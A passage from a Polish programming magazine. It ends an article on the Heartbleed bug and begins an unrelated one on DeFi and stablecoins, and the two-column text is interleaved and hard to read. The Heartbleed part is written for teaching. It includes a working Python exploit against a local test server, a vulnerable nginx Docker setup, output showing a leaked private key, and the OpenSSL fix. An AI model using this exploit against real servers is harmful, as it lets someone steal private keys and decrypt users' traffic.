Listing 6. Przykład uruchomienia exploita

$ cat Dockerfile
FROM vulhub/nginx:heartbleed
Rysunek 4. Modyfikacja pakietu ClientHello w Hex edytorze
COPY my-site.crt /etc/ssl/certs/my-site.crt
COPY my-site.key /etc/ssl/private/my-site.key
Posiadając już pakiet ClientHello, który rozgłasza wsparcie dla COPY nginx.conf /etc/nginx/nginx.conf

rozszerzenia Heartbeat, oraz wiedzę, jak wygląda pakiet Heartbeat, $ cat nginx.conf
worker_processes 1;
możemy przystąpić do implementacji exploita. Kod został zaprezen-
events { worker_connections 1024; }
towany w Listingu 4. W liniach 7–15 definiujemy pakiet Heartbeat.
Pierwsze 5 bajtów to część pakietu jawnego z TLSa. Następnie defi- http {
server {
niujemy heartbeat_request z wielkością wiadomości ustawioną na listen 80;
16384 bajtów. Zarówno wiadomość, jak i padding można całkowicie location / {
pominąć. Jest to także mała optymalizacja, ponieważ jeżeli nie wyśle- return 301 https://$host$request_uri;
}
my tych pól, skopiujemy więcej pamięci z procesu. }
W liniach 17 i 18 tworzone jest połączenie do serwera. W linii server {
20 wysyłamy wcześniej przygotowany pakiet ClientHello, a zaraz listen 443 ssl;

po nim spreparowany pakiet Heartbeat. W liniach 23–26 odbiera- ssl_certificate /etc/ssl/certs/my-site.crt;


ssl_certificate_key /etc/ssl/private/my-site.key;
my odpowiedź na ClientHello, tak zwany ServerHello. Server-
Hello jest wysyłany również przy wykorzystaniu pakietu opisanego root /var/www/;
}
w Listingu 2, o typie 0x16. Po odebraniu odpowiedzi na ClientHel- }
lo spodziewamy się odpowiedzi na pakiet Heartbeat. $ sudo docker build -t nginx
$ sudo docker run -p443:443 nginx
Listing 4. Prosty exploit na podatność Heartbleed

1. import socket Exploit jest bardzo uproszczony i jego celem jest zaprezentowanie po-
2. import struct
3. datności, jak najmniej wchodząc w szczegóły TLSa. Poprawny atak
4. host = '127.0.0.1' możemy zobaczyć w Listingu 6. Jak widzimy, atakującym udało się
5. port = 443
6. wykraść klucz prywatny serwera, a co za tym idzie rozszyfrować ruch
7. HEARTBLEED_PACKAGE = bytearray([
8. 0x18, # Typ wiadomości w TLSie
pomiędzy klientem a serwerem. W przypadku tak niskopoziomowych
9. 0x03, 0x03, # Wersja TLSa błędów informacje, które wyciekną, są zależne od ułożenia pamięci
10. 0x00, 0x03, # Długość w nagłówku TLSa
11. 0x01, # Rodzaj żądania i tego, co dzieje się aktualnie w danym procesie. Czasami będzie trzeba
12. 0x40, 0x00, # Wielkość wiadomości uruchomić kod wielokrotnie, aby otrzymać interesujące dane. Oczy-
13. # Brak wiadomości
14. # Brak wyrównania wiście jeśli serwer nie wspiera rozszerzenia Heartbeat lub nie jest po-
15. ]) datny na atak Heartbleed, to może on odpowiedzieć innym pakietem,
16.
17. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) jak na przykład Alert, który najczęściej oznacza rozpoczęcie zerwania
18. s.connect((host, port)) połączenia. Kod z Listingu 4 nie obsługuje takich sytuacji.
19.
20. s.send(open("client_hello", "rb").read())
21. s.send(HEARTBLEED_PACKAGE)
Listing 6. Przykład uruchomienia exploita
22.
23. while s.recv(1) == b'\x16': # server hello $ python3 exploit.py
24. s.recv(2) # TLS version b'\x03\x03@\x00\x02@\x00\x17\x03\x03\x0c\xe0\x99
25. length = struct.unpack(">H", s.recv(2))[0] \xe1\xf5T50q\xd0\xbc\x07\xbfA\xcb7N\x87I\x94\x0f
26. s.recv(length) \xf1:0\xca\x80\xceN\xc5\xb2"\xf6 \x99\'n\x9bF\x9c
27. \xba\xe9\x90S\x06=\xdee\x85e_\x95\xf7\xd7lIw\xca
28. print(s.recv(0x4006)) \xebs\xbe\x03\xeeW-t\x00>\x13\x02\x13\x03\x13\x01
\xc0'\xc00\x00\x9f\xcc\xa9\xcc\xa8\xcc\xaa\xc0+\xc0
/\x00\x9e\xc0$\xc0(\x00k\xc0#\xc0\'\x00g\xc0\n\xc0
Nie chcemy atakować prawdziwych celów, dlatego w Listingu 5 pre- \x14\x009\xc0\t\xc0\x13\x003\x00\x9d\x00\x9c\x00=
[...]-----BEGIN PRIVATE KEY-----[...]
zentujemy minimalną konfigurację Docker potrzebną do przetestowa-

{ WWW.PROGRAMISTAMAG.PL } <109>
Z ARCHIWUM CVE

NAPRAWA BŁĘDU BŁĄD NIE POZOSTAŁ BEZ ECHA


Błąd został zgłoszony w marcu 2012 roku, 4 miesiące po wprowadze- Błąd Heartbleed skłonił wiele osób do bliższego przyjrzenia się bi-
niu go do biblioteki OpenSSL, a miesiąc po oficjalnie wydanej wersji bliotece OpenSSL. To z kolei odsłoniło kolejne problemy z nią zwią-
zawierającego go. Heartbleed został naprawiony w oficjalnym wydaniu zane. Niektórzy zdecydowali się na utworzenie klonów OpenSSLa
w kwietniu 2012 roku. Podatne wersje to OpenSSL 1.0.1 do wersji 1.0.1g. w celu poprawienia jakości kodu i architektury. Jednym z założeń tej
Przyjrzyjmy się poprawce do obsługi Heartbeat w TLSie. Analo- biblioteki jest uniwersalność, przez co wspiera ona sporo szyfrów czy
giczna poprawka została dodana do protokołu DTLS. W przypad- rozszerzeń, które są używane w znikomym stopniu. W efekcie pod-
ku tak prostego, lecz krytycznego błędu, poprawka również nie jest jęto bardziej zdecydowane próby usunięcia rozszerzeń oraz szyfrów,
zbyt skomplikowana. Nowa implementacja została zaprezentowana które nie są lub nie powinny być już stosowane.
w Listingu 7. Na czerwono zostały oznaczone usunięte linie, nato- Jednym z przykładów jest BoringSSL – biblioteka będąca klonem
miast kolorem zielonym linie dodane przez programistów. W funkcji OpenSSL utworzonym przez firmę Google. Głównymi konsumen-
tls1_process_heartbeat dodano sprawdzanie zakresów. Pierw- tami tej biblioteki są przeglądarka Chromium i system operacyjny
sze sprawdzanie, jeszcze przed odczytaniem typu, weryfikuje, czy Android. Ich celem jest okrojenie OpenSSLa do minimum, które jest
odebrany pakiet ma minimalną długość, tzn. 19 bajtów – 1 bajt dla wymagane w tych projektach. Autorzy nie rekomendują bazowania
typu, 2 bajty rozmiaru oraz 16 bajtów minimalnego dopełnienia. Po na tej bibliotece, ponieważ nie gwarantują stabilności interfejsów
odczytaniu typu i długości wiadomości wykonywane jest ponowne w kolejnych wersjach.
sprawdzenie rozmiaru odebranego pakietu. Tym razem do 19 baj- Innym przykładem jest biblioteka LibreSSL, która jest klonem
tów dodajemy także długość deklarowanej wiadomości. W rezultacie stworzonym przez społeczność OpenBSD. W przeciwieństwie do
mamy pewność, że bufor kopiowany za pomocą funkcji memcpy nie BoringSSL, LibreSSL stara się pozostać rozwiązaniem uniwersalnym
wykracza poza długość odebranego pakietu. i bezpiecznym zamiennikiem dla biblioteki OpenSSL. W przypadku
LibreSSL zostały usunięte przestarzałe szyfry. Społeczność przeszuka-
Listing 7. Poprawka w ramach projektu OpenSSL sprawdzająca rozmiary
buforów ła także całe drzewo portów2, usuwając w efekcie funkcje i interfejsy,
które nie były w nich wykorzystywane. Wprowadzono także zmia-
--- a/ssl/t1_lib.c
+++ b/ssl/t1_lib.c ny architektoniczne w ramach samej biblioteki. Lektura tych zmian
@@ -3801,16 +3801,20 @@ tls1_process_heartbeat(SSL *s) w LibreSSL pokazuje, jak wiele zaszłości historycznych ma OpenSSL3.
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */

- /* Read type and payload length first */


- hbtype = *p++;
PODSUMOWANIE
- n2s(p, payload);
- pl = p; Czasami jeden błąd potrafi zapoczątkować lawinę zmian. Tak było
- w przypadku Heartbleeda. Błąd umożliwiający wyciek fragmentu pa-
[...] mięci skłonił wiele osób do przyjrzenia się bibliotece OpenSSL. To z ko-
+ /* Read type and payload length first */ lei spowodowało powstanie nowych projektów, które miały poprawić
+ if (1 + 2 + 16 > s->s3->rrec.length)
+ return 0; /* silently discard */
jakość tej biblioteki. Zaskakujące jest to, że pomimo tego, iż błąd żył
+ hbtype = *p++; w bibliotece 4 miesiące, do dziś możemy znaleźć w Internecie niezak-
+ n2s(p, payload);
+ if (1 + 2 + payload + 16 > s->s3->rrec.length) tualizowane usługi podatne na Heartbleeda.
+ return 0; /* silently discard per RFC 6520 sec. 4 */
+ pl = p; 2. Drzewo portów to kolekcja oprogramowania, które można skompilować i uruchomić na OpenBSD.
+ Natomiast jest to oprogramowanie nie rozwijane w ramach tego projektu. Przykładami portów
może być Chromium, Firefox czy Vim.
if (hbtype == TLS1_HB_REQUEST)
3. Lista zmian dostępna jest pod adresem: fossies.org/linux/libressl/ChangeLog.
{
unsigned char *buffer, *bp;

Rozszerzenie Heartbeat nigdy nie zdobyło popularności, a jego uży- Bibliografia


walność była marginalna, żeby nie powiedzieć żadna. Jednym z tego
» Dedykowana strona o podatności Heartbleed – heartbleed.com
powodów był m.in bardzo zły marketing w postaci błędu Heartbleed. » RFC5246: The Transport Layer Security (TLS) Protocol Version 1.2
W 2016 roku, 2 lata po dodania wsparcia do Heartbeat, rozszerzenie » RFC6520: Transport Layer Security (TLS) and Datagram Transport Layer Security
(DTLS) Heartbeat Extension
zostało całkowicie usunięte z projektu OpenSSL.

MARIUSZ ZABORSKI
https://oshogbo.vexillium.org
Ekspert bezpieczeństwa w grupie 4Prime. Wcześniej przez 8 lat współtworzył i zarządzał zespołem programistów tworzących
rozwiązanie PAM w firmie Fudo Security. W wolnym czasie zaangażowany w rozwój projektów open-source, w szczególności
FreeBSD.

<110> { 1 / 2022 < 100 > }


PLANETA IT

DeFi – chwilowy trend czy prawdziwa rewolucja?


W czasach, gdy tradycyjne waluty tracą coraz bardziej na wartości, a interesy banków przekła-
dane są ponad prywatną własność, należy zadać sobie pytanie, czy można coś z tym zrobić.
Może istnieje jakaś technologia, przy pomocy której udałoby się stworzyć rozwiązania, które
nie wykluczałyby nikogo i dawały równy dostęp do świata finansów dla każdej pojedynczej
osoby? Okazuje się, że dzięki technologii blockchain stworzenie takiego mechanizmu jest jak
najbardziej możliwe. Co więcej, takie rozwiązania już istnieją i określane są jako DeFi (Decen-
tralized Finance), czyli zdecentralizowane finanse.

W tym artykule postaram się przybliżyć podstawowe zagadnie-


nia i mechanizmy, na jakie można się natknąć, korzystając
z DeFi. Przedstawię plusy i minusy zarówno tradycyjnych rozwiązań
kamy miejsca do przechowania zgromadzonych oszczędności, czy
to w formie pieniędzy, metali szlachetnych czy też innych dóbr, od
razu przychodzą nam na myśl instytucje bankowe. Nie ma w tym nic
finansowych, jak i tych zdecentralizowanych. Pomimo że DeFi zbu- dziwnego, ponieważ od wielu lat jesteśmy przyzwyczajeni do tego
dowane jest w oparciu o blockchain, brak wiedzy z zakresu tej tech- typu podejścia. Istnieje nawet powiedzenie „pewne jak w banku”,
nologii nie powinien przeszkodzić w zrozumieniu tematyki, a tam, chociaż od czasu kryzysu finansowego zapoczątkowanego w 2008
gdzie będzie to niezbędne, postaram się wszystko wyjaśnić. roku powinno się je traktować z przymrużeniem oka. Dobrze to ob-
razuje sytuacja klientów cypryjskich banków, którym w 2013 roku

TRADYCYJNE FINANSE zabrano ich środki [1]. Ale nie trzeba szukać takich przypadków tak
daleko. Okazuje się, że pieniądze zgromadzone w bankach w Polsce
– CZY POTRZEBA MI COŚ WIĘCEJ też mogą być skonfiskowane na rzecz pomocy instytucjom finanso-
Można śmiało stwierdzić, że każdy z nas, w mniejszym lub większym wym [2]. Ktoś mógłby stwierdzić, że taka sytuacja dotyczy jedynie
stopniu, ma na co dzień do czynienia z tradycyjnym systemem fi- samorządów i firm, zatem klient indywidualny nie ma się czego oba-
nansowym. Dokonując jakiekolwiek płatności, transakcja musi być wiać. Niestety niewiele osób zdaje sobie sprawę, że taka okoliczność
zweryfikowana i zatwierdzona przez centralną jednostkę. Gdy szu- może dotknąć także ich samych. Nawet jeśli do tego nie dojdzie, nie

Rysunek 1. System bankowy (źródło: daily-sun.com/printversion/details/430908/Centralised-Banking-System:-pros-and-cons)

<112> { 1 / 2022 < 100 > }


PLANETA IT

możemy mieć też pewności, że zrobimy ze swoimi środkami, co tylko cje, które w danej chwili potrzebują gotówki, czy to na inwestycje, czy
będziemy chcieli. Wiele razy przekonały się o tym osoby, które miały też na konsumpcję. Następnie pożycza otrzymane od nas pieniądze
coś wspólnego z inwestycjami w kryptowaluty. Jeden z największych np. z oprocentowaniem 15% rocznie, a po upływie określonego cza-
banków w Polsce wielokrotnie usuwał lub chociaż blokował konta su odzyskuje je wraz z dodatkowymi odsetkami. W momencie kiedy
osób, które uczestniczyły w takich transakcjach [3]. Czy inwestowa- dobiegnie czas końca naszej lokaty, bank będzie w stanie oddać nam
nie w kryptowaluty jest dobrym pomysłem, to już temat na osobną nasze oszczędności wraz z dodatkowym 1 tys. zł, który nam obiecał.
dyskusję. Niemniej jednak nikt nie może mieć prawa decydowania Można by zadać sobie pytanie, skoro tak de facto to dzięki naszym
o tym, w jaki sposób chcemy wydawać swoje własne pieniądze. Co gor- pieniądzom generowane są zyski, to czy nie moglibyśmy pominąć in-
sza, banki nie tylko mają możliwość kontrolowania naszych środków, stytucji finansowej i dzięki temu zarobić więcej? Problem polega na
ale niewykluczone też, że w niedługim czasie będziemy musieli płacić tym, że jeśli poszlibyśmy z naszymi 10 tys. zł do jakiejś dużej firmy
tym instytucjom za samo użyczenie im naszych oszczędności [4]. Jesz- i zaproponowali im pożyczkę, to pewnie by nas wyśmiali, a nawet
cze jednym minusem tradycyjnych finansów jest ich duży koszt. Nie jeśli nie, to co w momencie, gdyby nie zwrócili nam naszych pienię-
ma w tym nic dziwnego, ponieważ utrzymanie ogromnych placówek dzy? Mimo wszystko instytucje finansowe zabezpieczają nas w pew-
i milionów zatrudnionych pracowników wymaga dużych nakładów nym stopniu przed takimi sytuacjami. Ze względu na skalę, z jaką
finansowych. Na dodatek cały ten system jest po prostu powolny. działają, niespłacenie jeden pożyczki nie spowoduje utraty płynności
Chociaż to, co napisałem powyżej, nie stawia tradycyjnych finansów całego banku. Jest to jeden z głównym argumentów, dlaczego scen-
w dobrym świetle, należy przyznać, że mają one także plusy. Na- tralizowane finanse są atrakcyjne. Na szczęście, dzięki technologii,
sze depozyty w bankach są ubezpieczone do kwoty 100 tys. EUR, można to zrobić w całkowicie inny sposób, a rozwiązaniem jest DeFi.
co przynajmniej w teorii daje nam pewne bezpieczeństwo. Nie sposób Zdecentralizowane finanse i wszystko, co z nimi związane, to bar-
przewidzieć jednak, jak te gwarancje sprawdziłyby się w przypadku dzo obszerny temat i ciężko byłoby omówić w tym artykule każdy
upadku naprawdę dużej instytucji, więc miejmy nadzieję, że nie bę- istniejący mechanizm, dlatego w dalszej części skupię się na pięciu
dziemy musieli się o tym przekonywać. Dużą zaletą jest również ła- tematach, a mianowicie na stablecoinach, zdecentralizowanych gieł-
twość korzystania z tradycyjnej bankowości. Założenie konta, płat- dach, pożyczkach, ubezpieczeniach oraz derywatywach.
ności przy użyciu kart debetowych i kredytowych, przelewy czy też
inne operacje finansowe są stosunkowo przystępne dla przeciętnego
STABLECOIN, CZYLI JAK UTRZYMAĆ
użytkownika. Jeśli zapomnimy hasła do naszego konta bankowego,
STAŁĄ WARTOŚĆ
jesteśmy w stanie je odzyskać. Dla porównania, gdy zapomnimy
nasz klucz prywatny do portfela kryptowalutowego, nie ma takiej
możliwości, aby ktokolwiek nadał nam ponowny dostęp. Jeśli cho-
dzi o inwestycje, istnieje wiele przedsiębiorstw ułatwiających nam
zakupy i przechowywanie akcji, złota oraz innych instrumentów
finansowych. Ogromnym plusem do niedawna były lokaty bankowe.
W momencie kiedy oprocentowanie depozytów przewyższało infla-
cję, pozwalało to w stosunkowo łatwy i bezpieczny sposób zabez-
pieczać siłę nabywczą zgromadzonych oszczędności i nie wymagało
zgłębiania wiedzy inwestycyjno-finansowej. Niestety w czasach nieli-
mitowanego dodruku pieniądza i ujemnych realnych stóp procento-
wych wydaje się, że jest to już tylko pieśń przeszłości.
Warto w tym miejscu wyjaśnić, jak działają banki i skąd generują
zyski. Na potrzeby tego artykułu wystarczy uproszczone wytłumacze-
nie głównych mechanizmów, dlatego nie będę poruszał takich tema-
tów, jak np. ile bank musi posiadać kapitału własnego na udzielenie
kredytu. Dodatkowo przez ostatni czas znacznie zmieniły się zasady Rysunek 2. Stablecoiny (żródło: kryptoporadnik.pl/stablecoin-czym-jest-i-jak-dziala/)
gry, ale nie powinno to stanowić problemu w zrozumieniu tematyki.
Załóżmy, że zaoszczędziliśmy 10 tys. zł. W takim momencie war- Osoby, które miały kiedykolwiek przyjemność uczestniczenia w ryn-
to by podjąć decyzję, co zrobić z tymi pieniędzmi, ponieważ szko- ku kryptowalut, wiedzą, jak szybko może zmienić się wycena po-
da, żeby leżały w przysłowiowej skarpecie i traciły na wartości. Nie szczególnych monet. Dzienny wzrost lub spadek wartości tokenów
mamy za bardzo wiedzy finansowej ani czasu na jej zdobywanie, dla- o kilkanaście bądź kilkadziesiąt procent nie jest niczym dziwnym.
tego znaleźliśmy bank, który oferuje lokatę z oprocentowaniem 10% Nie dotyczy to tylko kryptowalut o małej kapitalizacji rynkowej,
rocznie (czasem warto pomarzyć). Decydujemy się na to rozwiąza- ale również najbardziej znanej waluty wirtualnej, jaką jest Bitcoin.
nie i przekazujemy nasze oszczędności do wybranej instytucji. Od tej W tym wypadku spadek rzędu 40% w ciągu jednego dnia jest czymś,
chwili bank musi wygenerować taki zysk, aby pokrył oferowane od- co powtarza się regularnie, a nowych inwestorów może to „wysa-
setki oraz sam na tym zarobił. Najłatwiejszym sposobem jest poży- dzić z siodła”. W związku z tą zmiennością pojawia się problem, jak
czenie naszych pieniędzy komuś innemu, tylko na wyższy procent w takim razie oprzeć zdecentralizowany system finansów na czymś,
niż oferowana lokata. W tej sytuacji bank znajduje osoby lub instytu- czego wartość nieustannie się zmienia. Dodatkowo, przynajmniej na

<114> { 1 / 2022 < 100 > }


/ DeFi – chwilowy trend czy prawdziwa rewolucja? /

razie, ludzie przyzwyczajeni są do określania cen wszystkich usług składa się z 42 znaków, które w normalnym przypadku otrzymuje
i produktów w walutach fiducjarnych, a nie w Bitcoinie czy Ethe- się poprzez zahaszowanie ostatnich 20 bajtów, do których dodaje się
rze. Z drugiej strony, budując zdecentralizowany system finansowy, prefix 0x. Tutaj sprawa wygląda nieco inaczej, ponieważ genesis ad-
dobrze by było mieć możliwość wykorzystania potencjału, jaki dają dress został zahardcodowany i przyjmuje postać 0x00000000000000
nam kryptowaluty, np. przejrzystość transakcji. Na szczęście z pomo- 00000000000000000000000000. Jednak nic nie stoi na przeszkodzie,
cą przychodzą tzw. stablecoiny, czyli rozwiązanie, które łączy w sobie żeby użyć jakiegoś innego adresu. Najważniejsze, aby mieć pewność,
zalety monet opartych o blockchain oraz nasze przyzwyczajenie do że dla podanej wartości wygenerowanie klucza prywatnego jest nie-
standardowego pieniądza. Jak sama nazwa może wskazywać, mowa mal niemożliwe. Wróćmy ponownie do naszego przykładu. W ide-
o kryptowalutach, które mają coś wspólnego ze stabilnością, a kon- alnym świecie opisana sytuacja nie miałaby żadnych potencjalnych
kretnie chodzi o ich wycenę w złotówkach, dolarach, euro, funtach słabości. Niestety, w takim nie żyjemy, dlatego istnieje ryzyko, że coś
itd. Dzieje się tak, ponieważ taki rodzaj kryptowalut ma za zadanie pójdzie nie tak i szczerze mówiąc, dotyczy to raczej wymiany USDT
odzwierciedlać cenę jakiegoś dobra z realnego świata i nie chodzi tu- na fizyczny pieniądz, niż odwrotnie. Ponownie główny problem, tak
taj jedynie o pieniądze fiducjarne. Równie dobrze stablecoin może być samo jak w przypadku tradycyjnych finansów, stanowi scentralizo-
związany ze złotem, srebrem czy też jakimkolwiek innym aktywem, wana instytucja, która odpowiada za przechowywanie zabezpiecze-
w którym na co dzień wyceniamy różne rzeczy. Przy czym istnieją nia dla stablecoinów. Po pierwsze, nie mamy pewności, czy aby na
różne sposoby, aby zapewnić stabilność danej kryptowaluty. Zabezpie- pewno istnieją środki pokrywające jeden do jednego wyemitowane
czeniem może być np. fizyczna gotówka (ang. fiat-backed) lub jakieś kryptowaluty. Nawet jeśli to my przekazaliśmy pieniądze instytucji,
fizyczne aktywo (ang. commodity-backed), które będą gdzieś prze- to nigdy nie wiemy, czy zachowa się ona uczciwie. Nie jest to wyima-
chowywane jako realne pokrycie stablecoina. Na tej samej zasadzie, ginowana sytuacja, ponieważ właśnie sam Tether Ltd. został ukarany
zamiast wspomnianych dóbr, można wykorzystać do tego celu inne za kłamstwa na temat swoich rezerw [6]. Jednak ten problem da się
kryptowaluty (ang. crypto-backed). Istnieje też metoda, która w spo- w miarę łatwo rozwiązać, przeprowadzając regularne audyty. Wciąż
sób algorytmiczny jest w stanie utrzymywać wycenę danego tokena. musimy ufać, że firma audytorska robi to uczciwie, i chociaż historia
Zacznijmy od wyjaśnienia pierwszych dwóch sposobów, ponie- zna przypadki, gdy tak nie było, taka weryfikacja znacznie polepsza
waż mechanizm ich działania jest praktycznie identyczny. Stable- sytuację. Jednym ze stablecoinów, które przechodzą regularne kon-
coin, który zabezpieczony jest pieniądzem fiducjarnym lub innym trole, jest USD Coin, czyli USDC. Wyniki audytów są publicznie do-
fizycznym aktywem, emitowany jest przez jakąś centralną instytu- stępne i każdy może je w dowolnej chwili sprawdzić [7]. Dodatkowo
cję, która niejako składa obietnicę, że posiada środki na pokrycie token ten jest bardzo mocno regulowany przez rząd USA i wiele wiel-
każdego wydanego tokena. Niesie to za sobą pewne niedogodności, kich instytucji wchodzi w świat krypto właśnie przy jego pomocy.
ale o tym za chwilę. Najpowszechniej używanym stablecoinem, któ- W związku z tym zdecydowanie lepiej używać jego niż USDT. Innym
rego wartość przywiązana jest do dolara amerykańskiego, jest Tether, stablecoinem, którym warto się zainteresować, jest Binance USD
czyli USDT [5]. Na czym zatem polega emisja nowych tokenów? Po- (BUSD), który emitowany jest przez Paxos Trust Company, a nie, jak
wiedzmy, że chcielibyśmy mieć możliwość przechowywania naszych nazwa by mogła sugerować, przez giełdę Binance. Jednak brak audy-
pieniędzy na blockchainie, a na dodatek mamy ich naprawdę dużo, tów to nie jedyny problem, jaki w takiej sytuacji może się pojawić.
dajmy na to 1 mld $. W tym momencie możemy udać się do wspo- Załóżmy, że firma przeprowadza regularnie zewnętrzne kontrole
mnianej instytucji i powiedzieć jej, żeby stworzyła na swoim smart i faktycznie posiada aktywa na pokrycie wszystkich wyemitowa-
contractcie 1 mld nowych USDT i przelała na nasz portfel krypto- nych tokenów. Mimo wszystko wciąż istnieje zagrożenie, że ktoś np.
walutowy, a my zapłacimy za tę transakcję naszymi pieniędzmi. Dla ukradnie fizyczne pieniądze. Co więcej, nawet jeśli dany emitent na-
przypomnienia, smart contract to, najprościej mówiąc, napisany prawdę chciałaby być fair i robi wszystko, aby zabezpieczyć aktywa,
program, który przechowywany jest na blockchainie i wykonuje się może się okazać, że rząd lub jakaś instytucja finansowa zablokuje np.
zgodnie z predefiniowanymi warunkami. Za wyemitowanie nowych przechowywane środki na kontach. Niestety istnieje wiele potencjal-
tokenów Tether Ltd. pobrałby jeszcze prowizję, bo przecież musi na nych zagrożeń, które mogą spowodować ostatecznie całkowitą utratę
czymś zarabiać, ale dla uproszczenia możemy ten fakt pominąć. Od wartości danego stablecoina. Zatem czy są jakieś plusy takiego roz-
tego momentu posiadamy Tether o wartości 1 mld $, który możemy wiązania w porównaniu do innych kryptowalut? Jest przynajmniej
wykorzystać w innych zdecentralizowanych rozwiązaniach. Za jakiś jedna istotna zaleta, a mianowicie wartość takiego tokena jest bardzo
czas stwierdzamy, że jednak potrzebujemy z powrotem naszych dola- stabilna. Oczywiście może dojść do sytuacji, w której cena jednego
rów, więc udajemy się ponownie do Tether Ltd. i oddajemy im ich sta- USDT waha się nieznacznie w stosunku do dolara. Jest to związane
blecoin, za co w zamian dostajemy dolary. W tym momencie USDT, z tym, że ludzie na co dzień używają stablecoinów na giełdach. Sko-
które zwróciliśmy, powinny zostać zniszczone. W świecie krypto na- ro już jesteśmy przy tej kwestii, wcześniejszy przykład prezentował
zywa się to paleniem tokenów. Tether jest tak skonstruowane, że nie sytuację, kiedy to ktoś chciałby wymienić ogromne ilości pieniędzy
ma możliwości zredukowania ich całkowitej ilości na blockchainie, na stablecoiny. Zgłaszał się wtedy bezpośrednio do emitenta, jednak
dlatego w praktyce palenie polega na wysłaniu tokenów na adres, nic nie stoi na przeszkodzie, aby skupić takie tokeny prosto z rynku.
do którego nikt nie ma dostępu. Oznacza to, że nie ma osoby, która Właśnie te zakupy mogą powodować chwilowe wahania ceny, ponie-
posiadałaby klucz prywatny umożliwiający wykorzystanie jej znajdu- waż rządzi tutaj prawo podaży i popytu. Ostatecznie jednak wycena
jących się tam środków. Wiele projektów wykorzystuje do tego tzw. będzie dążyła do wartości aktywa, które ma odzwierciedlać stable-
genesis address. Tak jak każdy inny adres na sieci Ethereum, tak i ten coin. Aby lepiej sobie to zobrazować, można prześledzić cenę np.

{ WWW.PROGRAMISTAMAG.PL } <115>
PLANETA IT

USDT [8]. Scentralizowany stablecoin jest też atrakcyjny dla dużych nusem takiego rozwiązania mogą być przejściowe większe wahania
instytucji, które chcą się posługiwać kryptowalutami, ponieważ czę- ceny [11], jednak ostatecznie wartość DAI dąży do 1 dolara i nawet
sto takie rozwiązania są regulowane, co ułatwia ich używanie przez w przypadku odchylenia po jakimś czasie odzyska tę wartość. Wróć-
różnego rodzaju firmy. my jeszcze na chwilę do kwestii decentralizacji. Jak wspomniałem
Podane powyżej przykłady odnosiły się do tokenów, które nieja- wcześniej, nie istnieje tutaj żadna centralna instytucja, która decy-
ko przenosiły dolara na blockchain i jest to chyba najczęściej spoty- dowałaby o tym, jak protokół ma się zachowywać lub zmieniać. Czy
kany przypadek. Ale nic nie stoi na przeszkodzi, aby stablecoin od- i jak w takim razie można dokonać jakichkolwiek zmian? Istnieje
zwierciedlał np. cenę złota. Najbardziej popularnym i sprawdzonym tzw. Decentralized Autonomous Organization (DAO), powiązana
tokenem tego typu jest PAX Gold (PAXG), emitowany przez wcze- z projektem DAI, która jest odpowiedzialna za wszystkie decyzje. Po-
śniej wspomnianą Paxos Trust Company. Zasady działania są iden- lega to na tym, że posiadacze tokena Maker (MKR) mają prawo gło-
tyczne jak w przypadku USDT czy USDC. Różnica polega na tym, su, a jego siła jest proporcjonalna do posiadanej ilości MKR. Decyzja
że 1 PAXG jest równoważny z 1 uncją złota. Każdy posiadany token samego głosowania jest wiążąca i tylko zaakceptowane zmiany mogą
możemy wymienić na fizyczny kruszec, przy czym minimalną ilo- wejść do protokołu. Takie podejście da się osiągnąć przy pomocy od-
ścią, jaką musimy posiadać, aby do takiej wymiany mogło dojść, jest powiednio napisanych smart contractów. Nie są to tylko słowa rzu-
na tę chwilę 430 PAXG. Na tej samej zasadzie mogą funkcjonować cone na wiatr, ponieważ również w tym przypadku kod jest napisany
inne stablecoiny, ponieważ w takiej sytuacji zawsze istnieje centralny w taki sposób, aby była to jedyna możliwa opcja.
emitent, a to, czy wartość tokena jest przywiązana do dolara, złotów- Innym ciekawym rozwiązaniem opartym o blockchain są stable-
ki, złota czy też krowy Kobe, nie ma tutaj żadnego znaczenia. Różni- coiny algorytmiczne. Przykładem jest projekt Ampleforth (AMPL),
ca pojawia się natomiast, jeśli jako zabezpieczenie stabilności tokena który w odróżnieniu od DAI stara się utrzymać cenę 1 dolara, bazu-
wykorzystujemy inne kryptowaluty. Na pierwszy rzut oka niewiele jąc jedynie na algorytmie. Nie ma przez to żadnego zabezpieczenia
to zmienia, ponieważ wciąż istnieje scentralizowana instytucja, któ- w formie innych kryptowalut. Jak w takim przypadku jest w stanie
ra emituje stablecoina. Oznacza to, że nawet jeśli zamiast złota czy utrzymać stałą cenę? Co 24 godziny występuje tzw. rebasing. Polega
dolarów trzyma na swoich portfelach kryptowaluty, to wciąż może on na tym, że jeśli cena AMPL wzrośnie powyżej 1 dolara, na port-
stać się coś, co sprawi, że ta firma straci w jakiś sposób to zabezpie- felach posiadaczy tej kryptowaluty pojawią się dodatkowe tokeny.
czenie. Ale samo oparcie się o kryptowaluty niesie za sobą pewne Dla przykładu, jeśli kupiłbym pewnego dnia 1 AMPL po 1 $ i cena
plusy. Po pierwsze, ponieważ wszystko jest zapisane na blockcha- spadłaby do 0.5 $, to kolejnego dnia będę posiadał 2 AMPL, których
inie, każda osoba w dowolnej chwili może sprawdzić, czy faktycznie sumaryczna wartość będzie wynosić 1 $. Co ważne, jeśli wcześniej
dana instytucja posiada kryptowaluty, które w całości zabezpieczają posiadana przeze mnie ilość AMPL równała się np. 1% wszystkich
wyemitowane tokeny. Takie podejście eliminuje całkowicie potrze- istniejących zasobów, to po zmianach proporcja ta musi być zacho-
bę przeprowadzania jakichkolwiek audytów. Po drugie, nikt nie jest wana. Oczywiście podobnie działa to w druga stronę. Jeśli wartość
w stanie zablokować firmie dostępu do jej środków. Oczywiście wciąż tokena spadnie, to część AMPL jest usuwana z portfeli, tak aby pod-
istnieje szansa, że jakiś pracownik tej instytucji, który posiada dostęp nieść cenę. Według mnie jest to naprawdę ciekawe rozwiązanie, jed-
do portfeli, ukradnie kryptowaluty.. W takim razie czy da się wymy- nak ponownie minusem są dosyć spore wahania ceny [12]. Ostatecz-
ślić coś lepszego? Na szczęście tak. nie wartość będzie dążyła do 1 $, ale może to być uciążliwe.
Dzięki technologii blockchain jesteśmy w stanie budować cał- Po zapoznaniu się z mechanizmami, jakie stoją za stablecoina-
kowicie zdecentralizowane rozwiązania, które eliminują problemy mi, ktoś mógłby zapytać, po co nam to wszystko, skoro istnieje tyle
związane z korzystaniem z usług scentralizowanych. Nie inaczej jest problemów z tym związanych, a wartość pojedynczego tokena może
w przypadku stablecoinów. Najbardziej znanym projektem, który się wahać w stosunku do fizycznego aktywa. Powodów jest przynaj-
